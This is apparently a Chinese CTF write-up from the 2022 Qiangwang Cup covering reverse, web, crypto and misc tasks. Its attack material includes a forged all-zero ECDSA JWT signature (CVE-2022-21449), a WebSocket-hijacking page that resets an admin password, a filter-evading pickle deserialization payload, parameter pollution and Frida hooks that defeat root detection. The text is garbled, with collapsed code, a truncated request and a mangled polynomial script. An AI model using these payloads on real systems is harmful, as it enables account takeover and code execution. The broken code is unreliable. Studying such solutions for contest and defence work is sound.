flag_end[28] + flag_end[29] == 0x6c2*flag_end[28] + flag_end[29] == 0xa1flag_end[30] + flag_end[31] == 0xb12*flag_end[30] + flag_end[31] == 0xe5

z3解方程得到flag

from z3 import *flag = "flag{366c950370fec47e34581a0"flag_end = [BitVec("f%d"%i,8) for i in range(4)]s = Solver()s.add(flag_end[0] + flag_end[1] == 0x6c)s.add(2*flag_end[0] + flag_end[1] == 0xa1)s.add(flag_end[2] + flag_end[3] == 0xb1)s.add(2*flag_end[2] + flag_end[3] == 0xe5)if s.check() == sat:m = s.model()f_e = [m[flag_end[i]].as_long() for iin range(4)]for i in range(4):flag+=chr(f_e[i])print(flag)#flag{366c950370fec47e34581a0574}

2.easyapk

check在so文件里

用ida的d810插件去混淆

进入sub_544,最下面可以看到tea加密

v153是key,往上找可以找到生成key的代码

v15 = time(0);v183[0] = ((v15 & 0x20000000) - (v15& 0xD0000000) + 2 * (v15 & 0x50000000) + 705251522) ^ 0xB93B79F2;v16 = time(0);v183[1] = ((v16 & 0x10000000) - (v16& 0xE0000000) + 2 * (v16 & 0x60000000) + 268614163) ^ 0x47348F27;v17 = time(0);v183[2] = ((v17 & 0x50000000) - (v17& 0xA0000000) + 2 * (v17 & 0x20000000) + 1598838216) ^ 0xDD2D6CF0;v18 = time(0);v183[3] = (((v18 & 0x40000000) - (v18& 0xB0000000) + 2 * (v18 & 0x30000000) + 1085702636) ^ 0x30240060 |0x99A9B9D)+ 2 * (((v18& 0x40000000) - (v18 & 0xB0000000) + 2 * (v18 & 0x30000000) +1085702636) ^ 0x46D3E58F);

密文在之前那个代码最下面的memcmp中的unk_3E78中

.data:00003E78 dword_3E78     DCD0x5D94AA84          ; DATA XREF: LOAD:0000009C↑o.data:00003E78        ; Java_com_a_easyapk_MainActivity_check+266↑o....data:00003E7C        DCD 0x14FA24A0.data:00003E80        DCD 0x2B560210.data:00003E84        DCD 0xB69BDD49.data:00003E88        DCD 0xAAEFEAD4.data:00003E8C        DCD 0x4B8CF4C6.data:00003E90        DCD 0x97FB8C9.data:00003E94        DCD 0xB5EC51D2

tea解密脚本先生成key再解密

#include #include //加密函数void encrypt(uint32_t* v, uint32_t* k) {uint32_t v0 = v[0], v1 = v[1], sum =0, i;           /* set up */uint32_t delta = 0x9e3779b9;  /* a keyschedule constant */uint32_t k0 = k[0], k1 = k[1], k2 =k[2], k3 = k[3];   /* cache key */for (i = 0; i < 32; i++) {  /* basiccycle start */sum += delta;v0 += ((v1 << 4)+ k0) ^ (v1 + sum) ^ ((v1 >> 5) + k1);v1 += ((v0 << 4)+ k2) ^ (v0 + sum) ^ ((v0 >> 5) + k3);}          /* end cycle */v[0] = v0; v[1] = v1;}//解密函数void decrypt(uint32_t* v, uint32_t* k) {uint32_t v0 = v[0], v1 = v[1], sum =0xC6EF3720, i;  /* set up */uint32_t delta = 0x9e3779b9;  /* a keyschedule constant */uint32_t k0 = k[0], k1 = k[1], k2 =k[2], k3 = k[3];   /* cache key */for (i = 0; i < 32; i++) {  /*basic cycle start */v1 -= ((v0 << 4)+ k2) ^ (v0 + sum) ^ ((v0 >> 5) + k3);v0 -= ((v1 << 4)+ k0) ^ (v1 + sum) ^ ((v1 >> 5) + k1);sum -= delta;}          /* end cycle */v[0] = v0; v[1] = v1;}int main(){time_t v15; // r0time_t v16; // r0time_t v17; // r0time_t v18; // r0int v183[4];v15 = time(0);v183[0] = ((v15 & 0x20000000) - (v15& 0xD0000000) + 2 * (v15 & 0x50000000) + 705251522) ^ 0xB93B79F2;v16 = time(0);v183[1] = ((v16 & 0x10000000) - (v16& 0xE0000000) + 2 * (v16 & 0x60000000) + 268614163) ^ 0x47348F27;v17 = time(0);v183[2] = ((v17 & 0x50000000) - (v17& 0xA0000000) + 2 * (v17 & 0x20000000) + 1598838216) ^ 0xDD2D6CF0;v18 = time(0);v183[3] = (((v18 & 0x40000000) - (v18& 0xB0000000) + 2 * (v18 & 0x30000000) + 1085702636) ^ 0x30240060 |0x99A9B9D)+ 2 * (((v18& 0x40000000) - (v18 & 0xB0000000) + 2 * (v18 & 0x30000000) +1085702636) ^ 0x46D3E58F);// printf("%x %x %x%x",v183[0],v183[1],v183[2],v183[3]);// 33323130 37363534 62613938 66656463uint32_t v[2] = { 0x5D94AA84,0x14FA24A0 }, k = v183;uint32_t v1[2] = { 0x2B560210,0xB69BDD49 };uint32_t v2[2] = { 0xAAEFEAD4,0x4B8CF4C6 };uint32_t v3[2] = { 0x97FB8C9,0xB5EC51D2 };decrypt(v, k);decrypt(v1, k);decrypt(v2, k);decrypt(v3, k);printf("解密后的数据:%x %x %x %x %x %x %x %x\n", v[0], v[1], v1[0], v1[1], v2[0], v2[1],v3[0], v3[1]);return 0;}

得到746e7973 5f67567b 415f6656675f6730 5f674e75 7570487a 456e755f 7d657271转字符为 tnys_gV{A_fVg_g0_gNuupHzEnu_}erq猜想rot13 galf_tI{N_sIt_t0_tAhhcUmRah_}red

c="galf_tI{N_sIt_t0_tAhhcUmRah_}red"f = ""for i in range(len(c)//4):f += c[i*4:i*4+4][::-1]print(f)#flag{It_Is_N0t_thAt_mUch_haRder}

3.GameMaster

.net程序

dnSpy打开可以看到对gamemessage进行了aes和异或

aes

xor

在线解密得到文件,发现里面有一个可执行文件

dump下来后还是一个.net文件,打开可以看到真的逻辑

//T1Class.T1//Token: 0x06000003 RID: 3 RVA: 0x0000215C File Offset: 0x0000035CpublicT1(){try{string environmentVariable = Environment.GetEnvironmentVariable("AchivePoint1");string environmentVariable2 = Environment.GetEnvironmentVariable("AchivePoint2");string environmentVariable3 = Environment.GetEnvironmentVariable("AchivePoint3");bool flag = environmentVariable == null || environmentVariable2 == null || environmentVariable3 == null;if (!flag){ulong num = ulong.Parse(environmentVariable);ulong num2 = ulong.Parse(environmentVariable2);ulong num3 = ulong.Parse(environmentVariable3);ulong[] array = new ulong[3];byte[] array2 = new byte[40];byte[] array3 = new byte[40];byte[] array4 = new byte[12];byte[] first = new byte[]{101,5,80,213,163,26,59,38,19,6,173,189,198,166,140,183,42,247,223,24,106,20,145,37,24,7,22,191,110,179,227,5,62,9,13,17,65,22,37,5};byte[] array5 = new byte[]{60,100,36,86,51,251,167,108,116,245,207,223,40,103,34,62,22,251,227};array[0] = num;array[1] = num2;array[2] = num3;T1.Check1(array[0], array[1], array[2], array2);bool flag2 = first.SequenceEqual(array2);if (flag2){T1.ParseKey(array, array4);for (int i = 0; i < array5.Length; i++){array5[i] ^= array4[i % array4.Length];}MessageBox.Show("flag{" + Encoding.Default.GetString(array5) + "}", "Congratulations!", MessageBoxButtons.OK);}}}catch (Exception){}}

//T1Class.T1//Token: 0x06000001 RID: 1 RVA: 0x00002050 File Offset: 0x00000250privatestatic void Check1(ulong x, ulong y, ulong z, byte[] KeyStream){int num = -1;for (int i = 0; i < 320; i++){x = (((x >> 29 ^ x >> 28 ^ x >> 25 ^ x >> 23) & 1UL) | x << 1);y = (((y >> 30 ^ y >> 27) & 1UL) | y << 1);z = (((z >> 31 ^ z >> 30 ^ z >> 29 ^ z >> 28 ^ z >> 26 ^ z >> 24) & 1UL) | z << 1);bool flag = i % 8 == 0;if (flag){num++;}KeyStream[num] = (byte)((long)((long)KeyStream[num] << 1) | (long)((ulong)((uint)((z >> 32 & 1UL & (x >> 30 & 1UL)) ^ (((z >> 32 & 1UL) ^ 1UL) & (y >> 31 & 1UL))))));}}//T1Class.T1//Token: 0x06000002 RID: 2 RVA: 0x00002110 File Offset: 0x00000310privatestatic void ParseKey(ulong[] L, byte[] Key){for (int i = 0; i < 3; i++){for (int j = 0; j < 4; j++){Key[i * 4 + j] = (byte)(L[i] >> j * 8 & 255UL);}}}

//用z3解出3个数,再异或得到flagfrom z3 import *flag = [BitVec("x%d" % i, 64) for i in range(3)]s = Solver()num = 0first = [101,5, 80, 213,163,26, 59, 38, 19, 6,173,189,198,166,140,183,42,247,223,24,106,20,145,37, 24, 7, 22, 191,110,179,227,5,62,9,13,17,65,22, 37, 5]KeyStream = [0 for i in range(40)]for i in range(0,320):flag[0] = (((flag[0] >> 29 ^flag[0] >> 28 ^ flag[0] >> 25 ^ flag[0] >> 23) & 1) |flag[0] << 1)flag[1] = (((flag[1] >> 30 ^flag[1] >> 27) & 1) | flag[1] << 1)flag[2] = (((flag[2] >> 31 ^flag[2] >> 30 ^ flag[2] >> 29 ^ flag[2] >> 28 ^ flag[2]>> 26 ^ flag[2] >> 24) & 1) | flag[2] << 1)KeyStream[num] = (KeyStream[num]<< 1) | ((flag[2] >> 32 & 1 & (flag[0] >> 30 &1)) ^ (((flag[2] >> 32 & 1) ^ 1) & (flag[1] >> 31 &1)))if (i+1) % 8 == 0:s.add(first[num] ==KeyStream[num])# print(KeyStream[num])num += 1print(s.check())print(s.model())#[ x0 = 156324965, x1 = 868387187, x2 = 3131229747]array = [156324965, 868387187, 3131229747]key = [0 for i in range(12)]for i in range(3):for j in range(4):key[4*i+j] = array[i]>> j * 8 & 255s = [60,100,36,86,51,251,167,108,116,245,207,223,40,103,34,62,22,251,227]for i in range(len(s)):print(chr(s[i]^key[i%len(key)]),end="")

4.game

得到附件ba.ab,是安卓的备份文件,用abe.jar解包得到base.apk

分析base.apk

package com.silence.scoreboard.http;import androidx.lifecycle.LifecycleOwner;import com.silence.bean.UserInfo;import com.silence.manager.LoginManager;import com.silence.network.HttpCall;import com.silence.network.RetrofitHelper;import com.silence.network.listener.CallBackLis;import com.silence.utils.MD5Utils;import com.silence.utils.OooOoo0;import java.util.HashMap;import java.util.Map;public class HttpRequest {publicHttpRequest() {super();}publicstatic void addFriend(LifecycleOwner arg2, String arg3, CallBackLis arg4) {HashMap v0 = new HashMap();try {((Map)v0).put("code", arg3);}catch(Exception v3) {v3.printStackTrace();}HttpCall.doCall(arg2,RetrofitHelper.getInstance().getRetrofit().create(Api.class).addFriend(((Map)v0)),arg4, null);}publicstatic void autologin(LifecycleOwner arg2, String arg3, String arg4, Stringarg5, CallBackLis arg6) {HashMap v0 = new HashMap();try {((Map)v0).put("code", arg3);((Map)v0).put("account", OooOoo0.encrypt(arg4));((Map)v0).put("username", OooOoo0.encrypt(arg5));}catch(Exception v3) {v3.printStackTrace();}HttpCall.doCall(arg2,RetrofitHelper.getInstance().getRetrofit().create(Api.class).autologin(((Map)v0)),arg6, null);}publicstatic void getFlag(LifecycleOwner arg2, String arg3, String arg4, String arg5,CallBackLis arg6) {HashMap v0 = new HashMap();try {((Map)v0).put("code", arg3);((Map)v0).put("account", arg4);((Map)v0).put("username", arg5);}catch(Exception v3) {v3.printStackTrace();}HttpCall.doCall(arg2,RetrofitHelper.getInstance().getRetrofit().create(Api.class).getFlag(((Map)v0)),arg6, null);}publicstatic void getScoreBoard(LifecycleOwner arg2, CallBackLis arg3) {HttpCall.doCall(arg2, RetrofitHelper.getInstance().getRetrofit().create(Api.class).getScoreBoard(),arg3, null);}publicstatic void login(LifecycleOwner arg2, String arg3, String arg4, CallBackLisarg5) {HashMap v0 = new HashMap();try {((Map)v0).put("account", OooOoo0.encrypt(arg3));}catch(Exception v3) {v3.printStackTrace();}((Map)v0).put("passwd", MD5Utils.encode(arg4));HttpCall.doCall(arg2,RetrofitHelper.getInstance().getRetrofit().create(Api.class).login(((Map)v0)),arg5, null);}publicstatic void register(LifecycleOwner arg2, String arg3, String arg4, Stringarg5, CallBackLis arg6) {HashMap v0 = new HashMap();try {((Map)v0).put("account", OooOoo0.encrypt(arg4));((Map)v0).put("username", OooOoo0.encrypt(arg3));}catch(Exception v3) {v3.printStackTrace();}((Map)v0).put("passwd", MD5Utils.encode(arg5));HttpCall.doCall(arg2,RetrofitHelper.getInstance().getRetrofit().create(Api.class).register(((Map)v0)),arg6, null);}publicstatic void submit(LifecycleOwner arg4, int arg5, CallBackLis arg6) {HashMap v0 = new HashMap();UserInfo v1 = LoginManager.getInstance().getUserInfo();try {((Map)v0).put("code", v1.getCode());((Map)v0).put("account", OooOoo0.encrypt(v1.getAccount()));((Map)v0).put("username", OooOoo0.encrypt(v1.getUserName()));((Map)v0).put("score", String.valueOf(arg5));}catch(Exception v5) {v5.printStackTrace();}HttpCall.doCall(arg4,RetrofitHelper.getInstance().getRetrofit().create(Api.class).submit(((Map)v0)),arg6, null);}}

进入http://47.93.244.181/re/ScoreBoard.php

{"msg":"Success","code":0,"data":{"users":[{"code":"16186963","username":"vbGC\/A5+vRN74\/i3q7O3hE==","best":"100000000000"},{"code":"7730370","username":"ataoatao1234","best":"111111111"},{"code":"4359616","username":"ataoatao123","best":"111111111"},{"code":"987764","username":"DI5wnjldzTEX7ZHhjf03Ld==","best":"50987008"},{"code":"14541742","username":"2NAPI3ZLvqUWOx4DgOQWZE==","best":"10000000"},{"code":"8608967","username":"wcXl0gr+x2RveqpsR18NX6==","best":"100004"},{"code":"15115898","username":"nYqF3Jo5eaJIFocZ3khHNU==","best":"100000"},{"code":"9651071","username":"S+Fe4IflF5V6tQobB3zeME==","best":"100000"},{"code":"8438249","username":"THxV0iiD0FBjxNY+WMjcAE==","best":"99999"},{"code":"13373186","username":"nzGCmX3r+LTCiaUSds8kOU==","best":"99999"}],"admins":[{"code":"123125","username":"IbaoQT\/3eTXIjHDJ2L5TQE==","best":"9999"},{"code":"449863","username":"xG83slwpyjVBRRdbydzlO6==","best":"8715"},{"code":"1231234","username":"BIbp927Ubq8bHYhgtQyg\/6==","best":"7777"},{"code":"12304","username":"WZ9zRyS89JfoYv5XZF+iYE==","best":"7321"},{"code":"10847","username":"tgTkNbXOvDX7uqqtyX33X6==","best":"6874"},{"code":"86546","username":"SMSJzxdNOgxGRLBc1YoL7E==","best":"6666"},{"code":"891134","username":"ug6EQwFDiIRegeHAWJm0f6==","best":"5605"},{"code":"9849","username":"igwJEoCKfLpNnqmaRmXwxU==","best":"5432"},{"code":"993112","username":"AZIUSnhZa9fZsLwLsogmn6==","best":"2133"}]}}

可以看到admins里只有一个是9999以上

通过addfriend可以得到account

http://47.93.244.181/re/AddFriend.php   POST:code=123125{"msg":"Success","code":0,"data":{"account":"SWeH8ou9yuL8GLThYhY1QlDiWX880+uNZusmIll\/Q4Q=","username":"IbaoQT\/3eTXIjHDJ2L5TQE==","best":"9999"}}

现在的目标是主动调用com.silence.utils.OooOoo0.decryp(),参数填为为"SWeH8ou9yuL8GLThYhY1QlDiWX880+uNZusmIll/Q4Q="。

简单把encrypt()给hook掉,然后在里面调用decrypt()就行。

但是在此之前需要解决反检测的问题。根据测试过程,应该至少同时对root、supersu、frida进行检测。magisk模块过掉了对root的检测。

我们hook掉

com.silence.utils.OoOO.OOOOOooo()

com.silence.utils.RootUtils.check()

可以过掉root检测。对于frida的检测应该在native进行,只修改frida_android_server过不掉,暂时也没有时间去检查检测逻辑了。所以用一个取巧的办法,先不启动frida_android_server,让app正常启动起来,然后启动server并用frida -F去附加app进程,以此过掉检测代码。代码如下:

function main(){Java.perform(function x(){varroot2 = Java.use("com.silence.utils.OoOO");root2.OOOOOooo.overload().implementation = function(){var ret = this.OOOOOooo();console.log("root check OOOOOooo:",ret);return false;};varroot = Java.use("com.silence.utils.RootUtils");root.check.overload().implementation = function(){var ret = this.check();console.log("root check:",ret);return false;};console.log("long live frida!");//OooOoo0["decrypt"]("SWeH8ou9yuL8GLThYhY1QlDiWX880+uNZusmIll\/Q4Q="//let OooOoo0 = Java.use("com.silence.utils.OooOoo0");varoo = Java.use("com.silence.utils.OooOoo0");oo.encrypt.overload("java.lang.String").implementation =function(strs){console.log("hookmethod():args=", strs);strs = "SWeH8ou9yuL8GLThYhY1QlDiWX880+uNZusmIll\/Q4Q=";var ret = this.decrypt(strs);console.log(ret);return strs;};})};setImmediate(main);//输出 &Od987$2sPa?>l

得到account后,给GetGlag.php发送请求即可得到flag

import requestsurl ="http://47.93.244.181/re/GetFlag.php"res = requests.post(url, data={"code":"123125", "account":"&Od987$2sPa?>l

myjwt

cve-2022-21449

Java 的 ECDSA 签名验证实现不检查 r 或s 是否为零,因此您可以生成一个签名值,其中它们都是 0(适当编码),Java 将接受它作为任何消息和任何公共的有效签名钥匙。空白身份证的数字等价物。

伪造takon,绕过ECDSA签名验证,并满足name=admin,exp>time, admin = true就可以拿到flag

写个java

package src;import java.util.Base64;public class test{public static boolean task(){byte[] a ={0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0};String sigB64 =Base64.getUrlEncoder().encodeToString(a);System.out.println(sigB64);return true;}public static void main(String[]args) throws Exception {task();}}

生成0字节的base64,用于绕过ECDSA签名验证

获取一个token,得到token格式

{"typ":"JWT","alg":"myES"}.{"iss":"qwb","name":"admin","admin":false,"exp":1659200471906}.sigB64

修改为

{"typ":"JWT","alg":"myES"}.{"iss":"qwb","name":"admin","admin":true,"exp":1759200471906}.{0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0}

三部分分别经过Base64.getUrlEncoder().encodeToString()后得到

eyJ0eXAiOiJKV1QiLCJhbGciOiJteUVTIn0=.eyJpc3MiOiJxd2IiLCJuYW1lIjoiYWRtaW4iLCJhZG1pbiI6dHJ1ZSwiZXhwIjoxNzU5MjAwNDcxOTA2fQ==.AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

即可绕过验证得到flag

02Web

l rcefile

源码泄露

$file = $_FILES["file"];if ($file["error"] == 0) {if($_FILES["file"]["size"]> 0 && $_FILES["file"]["size"] < 102400) {$typeArr =explode("/", $file["type"]);$imgType = array("png","jpg","jpeg");if(!$typeArr[0]=="image" | !in_array($typeArr[1], $imgType)){exit("type error");}$blackext =["php", "php5", "php3", "html","swf", "htm","phtml"];$filearray =pathinfo($file["name"]);$ext =$filearray["extension"];if(in_array($ext,$blackext)) {exit("extension error");}$imgname =md5(time()).".".$ext;if(move_uploaded_file($_FILES["file"]["tmp_name"],"./".$imgname)){array_push($userfile, $imgname);setcookie("userfile", serialize($userfile), time() + 3600*10);$msg =e("file: {$imgname}");echo$msg;} else {echo"upload failed!";

魔改题`https://cloud.tencent.com/developer/article/1717668`

l babyweb

注册账号登录后查看源码发现是通过websocket发送数据

通过bugreport指令发现可通外网。

websocket劫持+内网ssrf,实现修改管理员的账户

VPS主机上创建a.html,内容如下,尝试访问常见WEB端口,在访问8888端口后发现密码修改成功。

<script>var url ="ws://127.0.0.1:8888/bot";var ws = new WebSocket(url);ws.onopen= function (event) {ws.send("changepw123");}</script>

发送 bugreport http://x.x.x.x/a.html

登出,管理员登录:账号admin 密码123

花200买提示

源码审计发现,py调用go写的服务,可以传两个product绕过检测

充钱:

{"product":[{"id":1,"num":-5},{"id":2,"num":0}],"product":[{"id":1,"num":0},{"id":2,"num":0}]}

买flag

l crash

@app.route("/balancer",methods=["GET", "POST"])def flag():pickle_data=base64.b64decode(request.cookies.get("userdata"))if b"R" in pickle_dataor b"secret" in pickle_data:return "You damm hacker!"os.system("rm -rf *py*")userdata=pickle.loads(pickle_data)if userdata.token!=hash(get_password(userdata.username)):return "Login First"if userdata.username=="admin":return "Welcome admin, here is yournext challenge!"return "You"re not admin!"

截取源码关键路由代码,在该路由下首先通过cookie接收序列代码

利用o来绕过R限制

然后在删除该目录下所有python文件后进行反序列化操作

重点在绕过

userdata.token!=hash(get_password(userdata.username))

这里思路是通过pickle反序列化实现全局变量admin.secret的覆盖,利用unicode来绕过前面对关键字secret的过滤,最后弹个user对象出来即可进入后台

构造payload如下

b"""cappadmin(Vsecr\u0065tS"password"db0(cappUserS"admin"S"password"o."""

进入后台发现是负载均衡设置页面,构造服务器数据,超时拿到flag

03Misc

l 签到

l 问卷调查

04

Crypto

lASR

from Crypto.Util.number import getPrimefrom secret import flagpad = lambda s:s +bytes([(len(s)-1)%16+1]*((len(s)-1)%16+1))n = getPrime(128)**2 * getPrime(128)**2 * getPrime(128)**2* getPrime(128)**2e = 3flag = pad(flag)print(flag)assert(len(flag) >= 48)m = int.from_bytes(flag,"big")c = pow(m,e,n)print(f"n = {n}")print(f"e = {e}")print(f"c = {c}")"""n = 8250871280281573979365095715711359115372504458973444367083195431861307534563246537364248104106494598081988216584432003199198805753721448450911308558041115465900179230798939615583517756265557814710419157462721793864532239042758808298575522666358352726060578194045804198551989679722201244547561044646931280001e = 3c =945272793717722090962030960824180726576357481511799904903841312265308706852971155205003971821843069272938250385935597609059700446530436381124650731751982419593070224310399320617914955227288662661442416421725698368791013785074809691867988444306279231013360024747585261790352627234450209996422862329513284149"""

n由四个素数的平方组成,给n开根号后直接尝试用yafu分解,分解得到

分别设为p、q、r、s其中r-1、q-1能被e整数

因此m^e % n =m^e % p*p*s*s,rsa解密即可

from Crypto.Util.number import long_to_bytesfrom gmpy2 import invert,gcdc =945272793717722090962030960824180726576357481511799904903841312265308706852971155205003971821843069272938250385935597609059700446530436381124650731751982419593070224310399320617914955227288662661442416421725698368791013785074809691867988444306279231013360024747585261790352627234450209996422862329513284149p = 223213222467584072959434495118689164399q = 225933944608558304529179430753170813347r = 218566259296037866647273372633238739089s = 260594583349478633632570848336184053653phi = (p-1)*(s-1)*p*se = 3d = invert(e,phi)m = pow(c,d,p*p*s*s)print(long_to_bytes(m))#flag{Fear_can_hold_you_prisoner_Hope_can_set_you_free}

05强网先锋

l ploydiv

从给的task中看到我们需要完成40次的多项式求解,网上有多项式求解的脚本。在这道题了,是模二多项式运算,把网上的脚本稍微改改就可以算了。耐心手算通过40次后就可以拿到flag。

def add_poly(L1,L2): #多项式加法,同次项系数相加R=[]if len(L1)>len(L2):#默认L2比较长L1,L2=L2,L1i=0while ilen(L2):L1,L2=L2,L1zero=[];R=[]for i in L1:T=zero[:]#存储中间产生的结果多项式,每次更新结果多项式的列表长度for j in L2:#一个单项式乘以多项式的每一项T.append(i*j)R=add_poly(R,T)zero=zero+[0]# 每一个新的多形式都要比前一个多项式次数高1,列表长度增加,所以多补一个0return Rdef divide_poly(L1,L2):if len(L1)

如果觉得本文不错的话,欢迎加入知识星球,星球内部设立了多个技术版块,目前涵盖“WEB安全”、“内网渗透”、“CTF技术区”、“漏洞分析”、“工具分享”五大类,还可以与嘉宾大佬们接触,在线答疑、互相探讨。

▼扫码关注白帽子社区公众号&加入知识星球▼

关键词: 签名验证 反序列化

相关阅读